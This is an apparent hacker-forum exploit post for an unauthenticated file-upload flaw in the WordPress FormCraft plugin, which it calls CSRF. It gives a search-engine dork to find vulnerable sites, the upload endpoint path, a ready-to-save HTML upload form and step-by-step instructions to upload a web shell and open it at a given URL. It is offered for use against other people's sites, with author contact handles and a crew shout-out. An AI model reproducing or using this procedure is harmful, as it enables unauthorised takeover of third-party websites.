WordPress Plugins FormCraft CSRF Vulnerability

Dork : Inurl:/wp-content/plugins/formcraft/


Exploit : http://site.com/wp-content/plugins/formcraft/file-upload/server/php/upload.php

http://site.com/wp-content/plugins/formcraft/file-upload/server/php/


Script CSRF:

<form method="POST" action="http://www.site.com/wp-content/plugins/formcraft/file-upload/server/php/upload.php"

enctype="multipart/form-data">

<input type="file" name="files[]" /><button>Upload</button>

</form>


*Save In HTML File*


1.Find Target Using Dork Given

2.Then Put Exploit Given

3.If Vuln , It Will Show "No File Upload : 2"

4.Put That Vuln Site At CSRF Script
5.Open The HTML File Using Your Default Browser And Upload Your Shell


Shell Access : http://site.com/wp-content/plugins/formcraft/file-upload/server/php/files/yourshell.php


Inbox Me If You Not Understand

Facebook : www.fb.com/7OBUz

Twitter : www.twitter.com/wazy_MY


Thx To Indonesian CyberFreedom Team